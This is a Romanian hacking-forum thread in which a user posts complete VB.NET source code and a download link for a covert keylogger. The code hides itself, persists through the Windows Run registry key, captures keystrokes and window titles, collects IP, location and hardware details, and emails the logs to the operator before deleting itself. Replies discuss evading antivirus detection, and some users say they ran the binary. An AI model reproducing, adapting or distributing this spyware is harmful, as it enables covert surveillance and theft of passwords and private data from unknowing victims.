Jump to content
bc-vnt

Un alt keylogger in VB.NET and source code

Recommended Posts

Posted (edited)

Download : http://www.2shared.com/file/iC606rlE/KeyLogger2.html

' ******************************************************
' * CREATED BY bc-vnt *
' * *
' ******************************************************

'# SPECIAL KEYLOGGER FUNCTIONS
'1. Runs Invisible from Screen and Taskbar
'2. Detects more than 26 letters and also special characters, numbers, hotkeys, lower case, upper case
'3. Sends the LOG via E-Mail to your Mail-Address as Mail Attachment which you can download it and analyse it whenever you want
'4. Retrieves External IP, and also the Internal Ip (User Network IP), User Location by Country
'5. Retrieves Window-Titles of what the User actually hovers at, catches the address of websites the User has clicked
'6. The LOG is invisible to the User, so a Users detection is impossible
'7. Retrieves Information about Motherboard, RAM, Physical Drives, Virtual Drives, Bios, Processors, Vendor, Username, PC-Name and much more
'8. Automatically selfdestructs (uninstalls) after a specific amount of days, which you set by your desire
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'BE AWARE THAT THIS IS A VB.NET PROJECT AND ITS ASSEMBLIESS AQUIRE THAT THE NET FRAMEWORK MUST BE PREINSTALLED, ON THE USERS MACHINE,
'THIS IS A NET.FRAMEWORK 2 TARGET PROJECT, SO YOU NEED NET FRAMEWORK 2 (ATLEAST) ON YOU MACHINE, OR ELSE IT WILL NOT WORK!
'IF YOU WANT TO UPGRADE THIS PROJECT TO UPPER FRAMEWORKS OR TO x64 bit ARCHITECTURE YOU CAN DO IT EVERY TIME ON THE VISUAL STUDIO OPTIONS!
'Keylogger tested on: Win7(x86), XP(x86)

Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Net.Mime
Imports Microsoft.Win32
Imports System.Diagnostics
Imports System.Collections.ObjectModel

Public Class Form1
Dim WithEvents K As New Keyboard
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim quote As String = """"
Dim windowTitle As String
Dim selfDestruct As Integer = 30 ' days

Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Me.Location = New Point(-10 - Me.Width, 0) : Me.ShowInTaskbar = False
registerApplication()
K.CreateHook()
' Adds UserName, ComputerName and current Time to the Log File
My.Settings.log = My.Settings.log + vbNewLine + "_________________________________________________" _
+ "____________________________________________________________________________" _
+ vbNewLine + "Current Time: " + Now.DayOfWeek.ToString + ", " + Now() + vbNewLine + vbNewLine _
+ "Computer Name:" + " " + Environment.MachineName + vbNewLine + vbNewLine _
+ "Username:" + " " + Environment.UserName + vbNewLine _
+ "____________________________________________________________________________" _
+ "________________________________________________" _
+ vbNewLine + vbNewLine
End Sub

Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
K.DisposeHook()
End Sub

Private Sub K_Down(ByVal Key As String) Handles K.Down
My.Settings.log = My.Settings.log & Key
End Sub

Private Function getActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

Private Function roundObjectSize(ByVal ObjectSize As String) As String
Select Case CDec(ObjectSize)
Case 0 To CDec(999.999)
ObjectSize = Format(CInt(CDec(ObjectSize)), "###,###,###,###,##0 Bytes")
Case 1000 To CDec(999999.999)
ObjectSize = Format(CInt(CDec(ObjectSize) / 1024), "###,###,###,##0 KB")
Case 1000000 To CDec(999999999.999)
ObjectSize = Format(CInt(CDec(ObjectSize) / 1024 / 1024), "###,###,##0 MB")
Case 1000000000 To CDec(999999999999.999)
ObjectSize = Format((((CInt(CDec(ObjectSize) / 1024 / 1024) / 10) \ 10) / 10), "#,###.00 GB")
Case Is >= 1000000000000
ObjectSize = Format((((CInt(CDec(ObjectSize) / 1024 / 1024 / 1024) / 10) \ 10) / 10), "#,###.00 TB")
End Select
Return ObjectSize
End Function

Private Sub additionalInformations()
My.Settings.info = ""
' GET COMPUTER LOCATION THROUGH IP
Dim ipinfo As New WebClient
Dim city As String
Try
Dim ip As String = ipinfo.DownloadString("http://www.find-ip-address.org/")
city = ip.Substring(ip.IndexOf("IP Address Lookup Location") + 80)
city = city.Substring(0, city.IndexOf(" <"))
Catch ex As Exception
city = "Unable to lookup"
End Try
My.Settings.info = My.Settings.info + "IP Location: " + city + vbNewLine

'______________________________________________________________________________________________________________________________
' GET EXTERNAL AND INTERNAL IP
Try
Dim req As HttpWebRequest = WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")
Dim res As HttpWebResponse = req.GetResponse()
Dim str As Stream = res.GetResponseStream
Dim sr As StreamReader = New StreamReader(str)
My.Settings.info = My.Settings.info + "External IP: " + sr.ReadToEnd + vbNewLine

Dim iphostentry As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)
My.Settings.info = My.Settings.info + "Internal IP: " _
+ CType(iphostentry.AddressList.GetValue(0), IPAddress).ToString + vbNewLine + vbNewLine
Catch
End Try

'______________________________________________________________________________________________________________________________
' ADDITIONAL INFORMATIONS
Try
My.Settings.info = My.Settings.info _
+ "User Name: " + Environment.UserName + vbNewLine _
+ "Machine Name: " + Environment.MachineName + vbNewLine _
+ "OS Version: " _
+ Environment.OSVersion.ToString + vbNewLine _
+ "OS Fullname: " _
+ My.Computer.Info.OSFullName + vbNewLine _
+ "OS Platform: " + My.Computer.Info.OSPlatform.ToString + vbNewLine _
+ "System Language: " _
+ My.Computer.Info.InstalledUICulture.ToString + vbNewLine _
+ "Screen Resolution: " _
+ My.Computer.Screen.BitsPerPixel.ToString + " Bit" + vbNewLine _
+ "Screen Bounds: " _
+ My.Computer.Screen.Bounds.Width.ToString + "x" + My.Computer.Screen.Bounds.Height.ToString + vbNewLine _
+ "Display Device: " _
+ My.Computer.Screen.DeviceName.ToString + vbNewLine
Catch
End Try
'______________________________________________________________________________________________________________________________
' GET REGISTRY VALUES

Try
Dim Registry1 As String = "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\BIOS"
Dim Registry2 As String = "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0"
My.Settings.info = My.Settings.info _
+ "Computer Manufacturer: " _
+ My.Computer.Registry.GetValue(Registry1, "SystemManufacturer", Nothing).ToString + vbNewLine _
+ "Computer Type: " _
+ My.Computer.Registry.GetValue(Registry1, "SystemProductName", Nothing).ToString + vbNewLine + vbNewLine _
+ "Processor: " _
+ My.Computer.Registry.GetValue(Registry2, "ProcessorNameString", Nothing).ToString + vbNewLine _
+ "Processor Identifier: " _
+ My.Computer.Registry.GetValue(Registry2, "Identifier", Nothing).ToString + vbNewLine _
+ "Processor Speed: " _
+ (((My.Computer.Registry.GetValue(Registry2, "~MHz", Nothing) / 10) \ 10) / 10).ToString + " GHz" + vbNewLine _
+ "Processor Manufacturer: " _
+ My.Computer.Registry.GetValue(Registry2, "VendorIdentifier", Nothing).ToString + vbNewLine + vbNewLine _
+ "Total Physical Memory (RAM): " _
+ roundObjectSize(My.Computer.Info.TotalPhysicalMemory.ToString) + vbNewLine + vbNewLine
Catch
End Try
'______________________________________________________________________________________________________________________________
' GET BIOS INFORMATIONS
Dim objWMIService As Object = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Dim colBIOS As Object = objWMIService.ExecQuery("Select * from Win32_BIOS")
For Each objBIOS In colBIOS
My.Settings.info = My.Settings.info _
+ "Bios Manufacturer: " + objBIOS.Manufacturer.ToString + vbNewLine _
+ "Bios Serial Number: " + objBIOS.SerialNumber.ToString + vbNewLine _
+ "Bios Version: " + objBIOS.SMBIOSBIOSVersion.ToString + vbNewLine _
+ "_____________________________________________________________________" + vbNewLine
Next

'______________________________________________________________________________________________________________________________
' GET DRIVEs INFORMATIONS
Dim drives As ReadOnlyCollection(Of DriveInfo)
drives = My.Computer.FileSystem.Drives

Try
For Each drive As DriveInfo In drives
If drive.IsReady Then
My.Settings.info = My.Settings.info + vbNewLine _
+ drive.DriveType.ToString + " Drive " _
+ drive.Name.ToString + vbNewLine _
+ "Drive Label: " + drive.VolumeLabel.ToString + vbNewLine _
+ "Drive Format: " + drive.DriveFormat.ToString + vbNewLine _
+ "Total Drive Size: " + roundObjectSize(drive.TotalSize) + vbNewLine _
+ "Total Free Space: " + roundObjectSize(drive.TotalFreeSpace) + vbNewLine
Else
My.Settings.info = My.Settings.info + vbNewLine _
+ "Unknown Drive " + drive.Name.ToString + vbNewLine _
+ "(This Drive is not ready, It could be a DVD Drive or a Virtual Drive!)" _
+ vbNewLine
End If
Next
Catch
End Try
End Sub

Private Sub registerApplication()
' We register the App only for the current-user since on Vista & Win7 it requieres administrator privileges for other users!
' The path for all users would be Registry.LocalMachine or manually "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\...\Run"
Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) _
.SetValue("Keylogger", quote + Application.ExecutablePath.ToString + quote)

' We create a new key for our app like the proffessionals do, and we set some data there,
' in this case the installation date, thus the app will be able later to identify on what date to uninstall,
' To open Registry Editor if you want, go to Start, type REGEDIT and hit(Win7) or go to Start, go to RUN, type REGEDIT(XP),
' and have a look on the Registry, but dont delete or change anything else there, or your computer will be unstable, or crash!
If Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Keylogger") Is Nothing Then
Registry.CurrentUser.CreateSubKey("SOFTWARE\Keylogger")
Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Year", Now.Year.ToString)
Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Month", Now.Month.ToString)
Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Day", Now.Day.ToString)
End If
End Sub

Private Sub sendMail()
additionalInformations()
Timerwindow.Dispose()
K.DisposeHook()
Try

'########################################################################################

' HOST WEBSITES http://www.gmx.com/ or http://www.gmail.com/
Dim myHost As String = "mail.gmx.com" ' IF YOU'RE USING GMX AS HOST
Dim myHostUserMailAddress As String = "YOUR E-MAIL" ' THIS IS AN EXAMPLE
Dim myHostUserPassword As String = "YOUR PASSWORD" ' THIS IS AN EXAMPLE
Dim mailReceiver As String = "YOUR E-MAIL" ' THIS IS AN EXAMPLE

'########################################################################################


Dim SmtpServer As New SmtpClient()
Dim mail As New MailMessage()

SmtpServer.Credentials = New Net.NetworkCredential(myHostUserMailAddress, myHostUserPassword)
SmtpServer.Host = myHost
mail = New MailMessage()
mail.From = New MailAddress(myHostUserMailAddress)
mail.To.Add(mailReceiver)
mail.Subject = Environment.UserName + ", " + Environment.MachineName
mail.Body = My.Settings.info
Dim ms As New MemoryStream(System.Text.Encoding.ASCII.GetBytes(My.Settings.log))
Dim oAttch As Net.Mail.Attachment = New Net.Mail.Attachment(ms, MediaTypeNames.Text.Plain)
Dim disposition As ContentDisposition = oAttch.ContentDisposition
disposition.FileName = Environment.UserName + "[" + Environment.MachineName + "]" + ".txt" ' The Name how the Attachment will be named
mail.Attachments.Add(oAttch)
SmtpServer.Send(mail)
mail.Dispose()
My.Settings.log = ""
Catch ex As Exception
End Try
K.CreateHook()
Timerwindow.Start()
End Sub

Private Sub unInstaller()
If Not Registry.CurrentUser.OpenSubKey("Software\Keylogger") Is Nothing Then
' For example we want our app automatically uninstalled after 30 days, it will check the installation date and calculate the difference.
' and then it will automatically remove our app from the computer.
If DateDiff("d", New System.DateTime( _
CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Year", Nothing).ToString), _
CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Month", Nothing).ToString), _
CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Day", Nothing).ToString), _
12, 0, 0), Now) > selfDestruct Then
Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue("Keylogger")
Registry.CurrentUser.OpenSubKey("Software", True).DeleteSubKey("Keylogger")

Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True) _
.SetValue("Uninstaller", quote + Application.StartupPath.ToString + "\Uninstaller.vbs" + quote)

' This code below means if the uninstallation date has come, it will create a VB Script on the same path as the app,
' and it will automatically delete the app and itself on the next Computerstart or Login!
File.WriteAllText(Application.StartupPath.ToString + "\Uninstaller.vbs", _
"Set FSO = CreateObject(""Scripting.FileSystemObject"")" + vbNewLine _
+ "filename = FSO.GetAbsolutePathName(Wscript.ScriptName)" + vbNewLine _
+ "FSO.DeleteFile " + quote + Application.ExecutablePath.ToString + quote + ", True" + vbNewLine _
+ "FSO.DeleteFile filename, True")
Me.Close()
End If
End If
End Sub

Private Sub Timerwindow_Tick(sender As System.Object, e As System.EventArgs) Handles Timerwindow.Tick
' We limit the windowtitlecatches by these names, otherwise the LOG will get large and you wont have the time to read everything!
Dim allowedList As String = "Facebook,Youtube,Internet,Google,Mozilla,Chrome,Safari,Live,Messenger,Skype"
Dim commaSeparator As Char() = New Char() {","c}
Dim result As String()
result = AllowedList.Split(CommaSeparator, StringSplitOptions.None)

If windowTitle <> GetActiveWindowTitle() Then
For Each str As String In result
If GetActiveWindowTitle.Contains(str) Then
If windowTitle <> GetActiveWindowTitle() Then
My.Settings.log = My.Settings.log + vbNewLine + "{{{" + GetActiveWindowTitle() + "}}}"
windowTitle = GetActiveWindowTitle()
End If
End If
Next
End If
End Sub

Private Sub Timerchecker_Tick(sender As System.Object, e As System.EventArgs) Handles Timerchecker.Tick
' assuming the LOG reaches limit of 100000 bytes (100Kb = 0,1MB) it will send it via email to you!
' before it will check for the uninstaller if the limit time is reached, e.g 20 days!
' One Byte is equal to 1 letter or number or any other character, so 100000 bytes means 100000 letters!
Me.Hide() ' HIDES THE FORM FROM SCREEN
If Len(My.Settings.log) > 1000 Then : unInstaller() : sendMail() : End If
End Sub
End Class

Public Class Keyboard
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
Public Shared Event Down(ByVal Key As String)
Public Shared Event Up(ByVal Key As String)
Private Shared Key As Integer
Private Shared KHD As KDel

Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure

Public Sub CreateHook()
KHD = New KDel(AddressOf Proc)
Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub

Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
If (Code = 0) Then
Select Case wParam
Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
End Select
End If
Return CallNextHookEx(Key, Code, wParam, lParam)
End Function

Public Sub DisposeHook()
UnhookWindowsHookEx(Key)
MyBase.Finalize()
End Sub

Private Function Feed(ByVal e As Keys) As String
Select Case e
Case 65 To 90
If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
Return e.ToString
Else
Return e.ToString.ToLower
End If
Case 48 To 57
If (Control.ModifierKeys And Keys.Shift) <> 0 Then
Select Case e.ToString
Case "D1" : Return "!"
Case "D2" : Return "@"
Case "D3" : Return "#"
Case "D4" : Return "$"
Case "D5" : Return "%"
Case "D6" : Return "^"
Case "D7" : Return "&"
Case "D8" : Return "*"
Case "D9" : Return "("
Case "D0" : Return ")"
End Select
Else
Return e.ToString.Replace("D", Nothing)
End If
Case 96 To 105
Return e.ToString.Replace("NumPad", Nothing)
Case 106 To 111
Select Case e.ToString
Case "Divide" : Return "/"
Case "Multiply" : Return "*"
Case "Subtract" : Return "-"
Case "Add" : Return "+"
Case "Decimal" : Return "."
End Select
Case 32
Return " "
Case 186 To 222
If (Control.ModifierKeys And Keys.Shift) <> 0 Then
Select Case e.ToString
Case "OemMinus" : Return "_"
Case "Oemplus" : Return "+"
Case "OemOpenBrackets" : Return "{"
Case "Oem6" : Return "}"
Case "Oem5" : Return "|"
Case "Oem1" : Return ":"
Case "Oem7" : Return """"
Case "Oemcomma" : Return "<"
Case "OemPeriod" : Return ">"
Case "OemQuestion" : Return "?"
Case "Oemtilde" : Return "~"
End Select
Else
Select Case e.ToString
Case "OemMinus" : Return "-"
Case "Oemplus" : Return "="
Case "OemOpenBrackets" : Return "["
Case "Oem6" : Return "]"
Case "Oem5" : Return "\"
Case "Oem1" : Return ";"
Case "Oem7" : Return "'"
Case "Oemcomma" : Return ","
Case "OemPeriod" : Return "."
Case "OemQuestion" : Return "/"
Case "Oemtilde" : Return "`"
End Select
End If
Case Keys.Return
Return Environment.NewLine
Case Keys.Back
Return " ?"
End Select
Return Nothing
End Function
End Class

Acesta este mult mai complex :D

immagineaqt.png

immagine1mi.png

Edited by bc-vnt
Posted
link de download invalid ?

schimbal !

Done : KeyLogger2.exe download - 2shared

P.S - Nu vreau sa fiu cretin vad ca ai 6 pst's deci ori nu prea te pricepi , ori crezi ca e un keyset, NU ESTE UN KEYSET adica il poti seta doar din sorce code postat de mine , unde scrie " YOUR EMAIL / YOUR PASSWORD " pui datele tale dupa il distribui.

P.S2 - Merge doar pe smtp.gmail.com / mail.gmx.com , deci trebuie sa ai e-mail pe un din serverele astea pentru ati fi folositor la ceva acesta sursa :P

Posted (edited)
Mascatil bai bootilor sa nu il detecteze...

PS : Ai pus download la el ca sa ne spionezi pe noi?:))

:P:)) Nu !

ba da X( , de ce plm nu se deschide ? de ce plm se seteaza in msconfig ? fuck that ! plm si eu prost nu l-am scanat :-j

P.s ... totusi imi place gj

Edited by Genius++
Posted
ba da X( , de ce plm nu se deschide ? de ce plm se seteaza in msconfig ? fuck that ! plm si eu prost nu l-am scanat :-j

P.s ... totusi imi place gj

Pariu pe viata mea ca inainte sa citesti rep's ai downloadat :P

Posted
hmm pai ne dai si sursa ?

oricum sper ca nu il ai setat pe mail tau privat :)

Neah , in 1 zii am postat si e-mailu si passu pe care e setat, cine a downloadat atunci poate folosii e-mailul ala :P

P.S - Sursa este in thread , sub download .

Posted

Normal in pula mea daca e luat dupa internet, voi de ce aveti impresia ca, gasiti cam orice? Atunci cand se gaseste o metoda noua e criptata si cea veche e giveaway.

.Net Assembly e foarte usor de detectat din cauza seturilor de funcii care pot fi usor descoperite de antivirusi, deci degeaba, poti sa faci si call in call sau goto ca tot inutil e.

Oricum nota 10 pentru leech :D

Posted
Sigur ca nu :))

Am fost prost ca l-am downloadat dar se observa la procese :))

Un admin sa-l baneze pe asta .

Pentru ce sa fiu banat , pentru ca iti este lene sa citesti 3 posturi ? :|

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...